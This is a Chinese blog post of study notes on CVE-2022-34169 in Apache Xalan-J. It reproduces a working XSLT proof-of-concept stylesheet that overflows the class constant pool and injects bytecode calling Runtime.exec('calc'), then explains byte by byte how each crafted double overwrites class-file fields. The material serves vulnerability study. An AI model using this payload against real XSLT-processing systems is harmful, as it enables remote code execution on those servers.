『Java CVE』CVE-2022-34169: Xalan-J XSLT整数截断漏洞PoC结构再浅析
文章目录
- 前言
- demo
- xslt
- 代码
- xalan.xslt.Process.main
- 一句话简述原理
- 溢出PoC分析
- *前置知识
- class文件结构
- 常量池、常量池计数器、常量
- Integer和Utf-8&String
- access_flags
- attribute_info
- Code
- 0x0807 01(06)
- 0x0006 0000 0000 0002
- 0x01 0047 0048 0001 02
- 0x00000005 AA BB CC DD
- 0x0001 008F 001E 0003
- 0x00 00000004 AB CD EF
- 0x004D 0000002E 00FF
- 0x00 00000022 | 00 00 00
- 构建的exec字节码
- 0x3C 00 B1 0000 0000 02
- 0x0007dd94 1234 5678
- 构建关键点
- 修复建议
- 完
前言
本文是学习thanat0s师傅文章的笔记: Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169) (360.cn)
class文件结构参考Chapter 4. The class File Format
构建的class文件结构参考ClassFile----.svg
demo
xslt
代码
指定参数
package Test;import org.apache.xalan.xslt.Process;public class Main {public static void main(String[] args){String source = "src//main//java//Test//source.xml";String demo = "src//main//java//Test//demo.xslt";Process.main(new String[]{"-XSLTC", "-IN", source, "-XSL", demo, "-SECURE", "-XX", "-XT"});}
}
xslt样式表文件
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template><XXX>A</XXX></xsl:template>
</xsl:stylesheet>
待转换的xml
<?xml version="1.0"?>
<t>Hello</t>
结果
代码运行生成了class文件,通过这个class模板将xml转换成html
xalan.xslt.Process.main
Process.main(new String[]{"-XSLTC", "-IN", source, "-XSL", demo, "-SECURE", "-XX", "-XT"});
参数IN
代表样式表路径
参数XSL
代表xml源文件
输入参数完后,判断非空
然后根据xslt创建java的模板文件
最后调用newTransformer()
触发bytecodes加载,过程同7u21
一句话简述原理
class文件常量池最大只有0xFFFF
(65535),当写入常量数量n>0xFFFF时:正常写入常量池是n & 0xFFFF
个,被截断,后续多余的将会溢出、覆盖正常class文件的内容,首当其冲的是access_flag
参数
例如,如果写入65536个常量,那么常量池表就为空(0x10000 & 0xFFFF = 0);如果写入65537个常量,此时常量表为1…以此类推,后面溢出的常量就覆盖了class文件
溢出PoC分析
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template><!-- 根据规范,方法引用methodRef会写入常量池 --><!-- 防止被覆盖,关键函数尽量写朝前 --><xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'calc')" xmlns:Runtime="java.lang.Runtime"/><!-- 指定构造的恶意类的父类super_class --><!-- 被加载类必须设置super_class父类为AbstarctTranslet类,同7u21 --><xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/><!-- init构造器的字节码头 --><AAA select="<init>"/><!-- 数据填充 --><xsl:value-of select='ceiling(133829)'/><xsl:value-of select='ceiling(133830)'/><xsl:value-of select='ceiling(133831)'/><atA ... aut='auu' /><!-- 指定构建的class文件的类,并通过tokenize触发构造器 --><!-- 利用类的懒加载机制,选取一个不会用到的类,避免类冲突 --><xsl:value-of select="es:tokenize(.)" xmlns:es="com.sun.org.apache.xalan.internal.lib.ExsltStrings"/><!-- 以上内容请勿修改 --><!-- 数据填充 --><xsl:value-of select='ceiling(133833)'/><adh ... afM='afN' /><xsl:value-of select='ceiling(133834)'/><afP ... t1112="t1113" /><xsl:value-of select='ceiling(133840)'/><afP t1050="t1051" /><!-- 0x0006000000000002 --><xsl:value-of select='ceiling(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008344026969402015)'/><!-- 0x0100470048000102 --><xsl:value-of select='ceiling(0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007417508170351345)'/><!-- 0x00000005AABBCCDD --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012025197585)'/><!-- 0x0001008f001e0003 --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000139370562526182)'/><!-- 0x0000000004ABCDEF --><xsl:value-of select='ceiling(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000387190546)'/><!-- 0x004d0000002e00FF --><xsl:value-of select='ceiling(0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003226357096027093)'/><!-- 0x0000000022000000 --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000281827566)'/><!-- 0x3C2AB70089000000 --><xsl:value-of select='ceiling(0.0000000000000000007241075121194573)'/><!-- 0x3CB8007713007900 --><xsl:value-of select='ceiling(0.00000000000000033309212233568665)'/><!-- 0x3CB6007d57000000 --><xsl:value-of select='ceiling(0.00000000000000030533787351623304)'/><!-- 0x3C00B10000000002 --><xsl:value-of select='ceiling(0.00000000000000000011310536823805084)'/><!-- 0x0007dd9412345678 --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001093838053241093)'/><!-- 数据填充 --> <apf ... ass='ast' /><asu ... deH='deI' /><dxd ... gjO='gjP' /><dhQ ... dtL='dtM' /><gmX ... gyS='gyT' /><gyV ... gCi='gCj' /><gCk ... joV='joW' /><jse ... jDZ='jEa' /><jHr ... muc='mud' /><x1 ... t902="t903"/><xsl:value-of select='ceiling(133835)'/><xsl:value-of select='ceiling(133836)'/><xsl:value-of select='ceiling(133837)'/></xsl:template>
</xsl:stylesheet>
这里利用了填充溢出+构造小数来覆盖,覆盖是一个非常巧妙的方式
*前置知识
class文件结构
常量池、常量池计数器、常量
class文件的常量池计数器是常量池大小+1,起始编号为#1
常量池编号最大是两个无符号int,即0xFFFF
每种常量的结构一般为特定的编号+具体值
Integer和Utf-8&String
不同类型常量占常量池单元的大小也不一样,Integer占一个而String占两个:大于32767的int会直接写入常量池、一个字符串包含Utf8和String两个常量
access_flags
access_flags存储类、方法的修饰符
通过and运算获取修饰符
attribute_info
在method_info方法信息中:attributes是方法属性表
每个属性分成三部分:属性名称在常量池的索引、属性读取的字节长度(范围)、属性值
Code
- 操作码栈大小
- 局部变量表大小
- 操作码长度
- 操作码
- 异常表长度
- 异常表
- 内部属性表长度
- 内部属性表
0x0807 01(06)
这串数据来源于截断位于#1793-#1794的字符串获得,通过构造将常量池计数器设定为1793+1,常量池中使用占一格的Integer和占两格的字符串填充,使得原本未溢出的位于#1793-#1794的字符串的后半部分CONSTANT_String覆盖access_flags
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
08 | ┏ | ┏ | CONSTANT_String的tag | 无意义的标识符 |
07 | ┗类access_flags | ┃ | ┏ | public |
01 | ┏ | ┗原#1793-#1794字符串截断溢出 | ┗指向Utf8#1793 | ┏ |
(06) | ┗this_class | 后续溢出的一个浮点数 | CONSTANT_Double的tag | ┗指向Class_info#262 |
可以看到字符串t1051被截断,后半部分0x080701覆盖了access_flags**(此处010Editor模板的常量池是数组索引因此下标是从0开始的)**
这里要求access_flags高位大于0x06,后面会提到
ExsltString这个类放在了#262的位置**(此处010Editor模板的常量池是数组索引因此下标是从0开始的)**,把当前类指向它
对应原文class结构分析:
0x0006 0000 0000 0002
这里利用了计算机双精度浮点数表示原理,构造特殊含义的浮点数覆盖
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
0006 | super_class | ┏ | ┏ | 指向Class_info#6 |
0000 | interfaces_count | ┃ | ┃ | 无接口 |
0000 | fields_count | ┃ | ┃ | 无局部变量 |
0002 | methods_count | ┗后续溢出的一个浮点数 | ┗浮点数 | 该类有2个方法 |
这里给恶意类设置2个方法是为了清理后续出现的脏字符
对应原文class结构分析:
0x01 0047 0048 0001 02
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┏ | ┏ | CONSTANT_Double的tag | abstract |
01 | ┗方法1access_flags | ┣ | ┏ | public |
0047 | 方法1name_index | ┃ | ┃ | 指向Utf8#71 |
0048 | 方法1descriptor_index | ┃ | ┃ | 指向方法描述符#72 |
0001 | 方法1attributes_count | ┃ | ┃ | 该方法有1个属性 |
02 | ┏(见下表) | ┗溢出的第二个浮点数 | ┗浮点数 | ┏(见下表) |
这里attributes_count设置为1是为了后续使用,另外方法起名也可以随意,因为其实用不到该方法
对应原文class结构分析:
0x00000005 AA BB CC DD
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┗方法1attribute_name_index | ┏ | CONSTANT_Double的tag | ┗指向Utf8#518 |
00000005 | 方法1attribute_length | ┣ | ┏ | 属性值长度5 |
AA | ┏ | ┃ | ┃ | ┏ |
BB | ┃ | ┃ | ┃ | ┃ |
CC | ┃ | ┃ | ┃ | ┃ |
DD | ┃(见下表) | ┗溢出的第三个浮点数 | ┗浮点数 | ┃(见下表) |
#518是一个填充的一般Utf8数据
这里填充数据很巧妙:
合法的属性名只有以下几种:
名称不合法,转换成通用类型读取,目的是多读1个u1,把下一个溢出的double的tag吃了,然后直接控制下一个方法2的access_flags便于插入恶意代码
0x0001 008F 001E 0003
下面是重头戏:开始从字节码层面构造第二个方法以达到exec
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┗方法1info[attribute_length] | ┏ | CONSTANT_Double的tag | ┗通用类数据 |
0001 | 方法2access_flags | ┣ | ┏ | public |
008F | 方法2name_index | ┃ | ┃ | 指向Utf8#143 |
001E | 方法2descriptor_index | ┃ | ┃ | 指向Utf8#30 |
0003 | 方法2attributes_count | ┗溢出的第四个浮点数 | ┗浮点数 | 属性有3个 |
#143是构造器的名称<init>
#30是构造器的描述符
这里方法设置三个属性,也是很巧妙
0x00 00000004 AB CD EF
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┏ | ┏ | CONSTANT_Double的tag | ┏ |
00 | ┗方法2属性1attribute_name_index | ┣ | ┏ | ┗Utf8#1536 |
00000004 | 方法2属性1attribute_length | ┃ | ┃ | 属性值长度4,向后吃4个脏字符 |
AB | ┏ | ┃ | ┃ | ┏ |
CD | ┃ | ┃ | ┃ | ┃ |
EF | ┃(见下表) | ┗溢出的第五个浮点数 | ┗浮点数 | ┃(见下表) |
#1536是一个填充的Utf8数据
access_flags,或者说常量池要大于0x0600的原因就是在于这里用Double的flag作为高位索引,如果常量池小于0x0600,那么常量池就提前结束了,无法索引,这里高位0x06我们不能控制,因此只能控制常量池大小
对应原文class结构分析:
0x004D 0000002E 00FF
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┗方法2属性1info[attribute_length] | ┏ | CONSTANT_Double的tag | ┗通用类数据,吃字符 |
004D | 方法2属性2attribute_name_index | ┣ | ┏ | Utf8#77 |
0000002E | 方法2属性2attribute_length | ┃ | ┃ | Code所占大小 |
00FF | 方法2属性2Code的max_stack | ┗溢出的第六个浮点数 | ┗浮点数 | 操作码栈大小 |
#77是合法属性名Code
,表明这是代码部分
对应原文class结构分析:
0x00 00000022 | 00 00 00
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┏ | ┏ | CONSTANT_Double的tag | ┏ |
00 | ┗方法2属性2Code的max_locals | ┣ | ┏ | ┗局部变量表大小0x600 |
00000022 | 方法2属性2Code的code_length | ┃ | ┃ | 操作码长度 |
00 00 00… | ┏方法2属性2Code的code[code_length] | ┗溢出的第七个浮点数 | ┗浮点数 | 操作码NOP |
构建的exec字节码
接下来用double插入exec的字节码,原文讲的已经很细致了,这里插入了一些nop用来对齐
0x3C2AB70089000000
0x3CB8007713007900
0x3CB6007d57000000
对应原文class结构分析:
0x3C 00 B1 0000 0000 02
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┃ | ┏ | CONSTANT_Double的tag | 常量6压入操作数栈 |
3C | ┃ | ┣ | ┏ | 弹出保存到局部变量表第2个位置 |
00 | ┃ | ┃ | ┃ | NOP |
B1 | ┗方法2属性2Code的code[code_length] | ┃ | ┃ | return |
0000 | 方法2属性2Code的exception_table_length | ┃ | ┃ | 无异常捕获 |
0000 | 方法2属性2Code的attributes_count | ┃ | ┃ | 无内部属性 |
02 | ┏ | ┗溢出的第十一个浮点数 | ┗浮点数 | ┏ |
0x0007dd94 1234 5678
0x\项目 | 覆盖目标 | 数据来源 | 源数据含义 | 覆盖后含义 |
---|---|---|---|---|
(06) | ┗方法2属性3attribute_name_index | ┏ | Constant_Double的tag | ┗Utf8#1536 |
0007dd94* | 方法2属性3attribute_length | ┣ | ┏ | 属性值长度X,向后吃X个脏字符 |
12 | ┏ | ┃ | ┃ | ┏ |
34 | ┃ | ┃ | ┃ | ┃ |
56 | ┃ | ┃ | ┃ | ┃ |
78 | ┣方法2属性3info[attribute_length] | ┗溢出的第十二个浮点数 | ┗浮点数 | ┣通用类数据,吃字符 |
… | … | … | 脏数据 | … |
对应原文class结构分析:
保留最后的attributes,是类的局部变量表,attribute_count是类局部变量表的大小
构建关键点
- 常量池的数据填充:Integer占1个单元、String占两个单元
- 触发原理同7u21,恶意类的父类是AbstractTranslet
- 避免类冲突,当前恶意类构建一个不会用到的类ExsltStrings
- 引用父类和当前类需要提前调用类方法加载
- 需要提供构造器描述符
String: <init>
以便恶意类在实例化时触发exec - 确保上述关键常量不会被覆盖,要求存储地址尽可能低
- 常量池溢出部分至少在0x0600以后,因为access_flags覆盖用的是0x0600,它会间接控制常量池大小,因此需要0x0600+0x10000*n个常量
- 使用String溢出、小数构造字节码,需要加入空数据对齐、清理脏数据
- 构造两个方法,method[0]用来清理脏字符06,method[1]是无参构造器在里面exec
- 确保各类name_index等字符串索引指向合法的Utf8
- 确保常量池各项位置正确
- 最后清除脏数据只保留末尾10个字节
修复建议
无
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126986529
版权声明:本文为原创,转载时须注明出处及本声明
『Java CVE』CVE-2022-34169: Xalan-J XSLT整数截断漏洞PoC结构再浅析相关推荐
- 『Java安全』XStream 1.4-1.4.61.4.10反序列化漏洞CVE-2013-7285复现与浅析
文章目录 前言 漏洞简介 影响版本 PoC interface(官方PoC) sorted-set tree-map 漏洞复现 代码审计 | 原理分析 interface 缺点 sorted-set和 ...
- 2017-2018-2 165X 『Java程序设计』课程 助教总结
2017-2018-2 165X 『Java程序设计』课程 助教总结 本学期完成的助教工作主要包括: 编写300道左右测试题,用于蓝墨云课下测试: 发布博客三篇:<2017-2018-2 165 ...
- 20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结
20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结 结对伙伴 学号 :20172307 姓名 :黄宇瑭 伙伴第一周博客地址: http://www.cnblogs.com/ ...
- java安装 1723_2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段...
2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段 在一个人孤身奋斗了将近半个学期以后,终于迎来的我们的第一次团队协作共同编码,也就是,我们的第一个结对编程练 ...
- 『Java安全』Tomcat内存马_动态注册Listener内存马
『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...
- [日推荐]『Java学习者』爱学习的程序猿看过来~
2019独角兽企业重金招聘Python工程师标准>>> 福利时间--今天给程序员大大们推荐一款你们一定会喜欢的小程序,里面有干货哦 Java学习者 **简介:**java学习,Jav ...
- 20172302『Java程序设计』课程 结对编程练习_四则运算第二周阶段总结
一.结对对象 姓名:周亚杰 学号:20172302 担任角色:驾驶员(周亚杰) 伙伴第二周博客地址 二.本周内容 (一)继续编写上周未完成代码 1.本周继续编写代码,使代码支持分数类计算 2.相关过程 ...
- 『Java安全』反序列化-浅析Hessian反序列化POP链
文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...
- 『Java安全』Tomcat内存马_动态注册Servlet内存马
文章目录 Servlet调用流程分析 1. StandardContext.startInternal注册servlet 2. StandardContextValue.invoke获取wrapper ...
最新文章
- Vue中插入HTML代码的方法
- 数据结构与算法 / 栈(stack)
- nexbox本地网络调试工具下载_「下载」 Windows 10 WinDBG 分析转储日志和蓝屏日志排查错误原因...
- Java笔记学习2.2.2 常量与变量 - 常量
- [转载]ArcGIS SERVER 9.3如何清除REST缓存
- vm12下载安装centos7教程
- i510300h和i78750h参数对比哪个好
- 智能家居(3)智能交互的竞品分析
- 每日一书丨这本书献给所有铸就开源世界的人们
- web测试与APP测试方法总结
- iphone13 设备类型 DeviceType
- 网球目标检测——基于Python-OpenCV
- IAP跟成就系统的思路
- C++ Reference: Standard C++ Library reference: C Library: cstdio: fopen
- 读书笔记 《Python灰帽子-黑客与逆向工程师的Python编程之道》
- Open vSwitch
- 普渡大学统计与计算机科学,普渡大学本校 Purdue University-Main Campus
- 灵性图书馆:好书推荐-《灵魂出体》
- 疾风之刃的最新服务器,疾风之刃6月16日更新 数据互通服务器一览
- xlrd读取excel数据三个步骤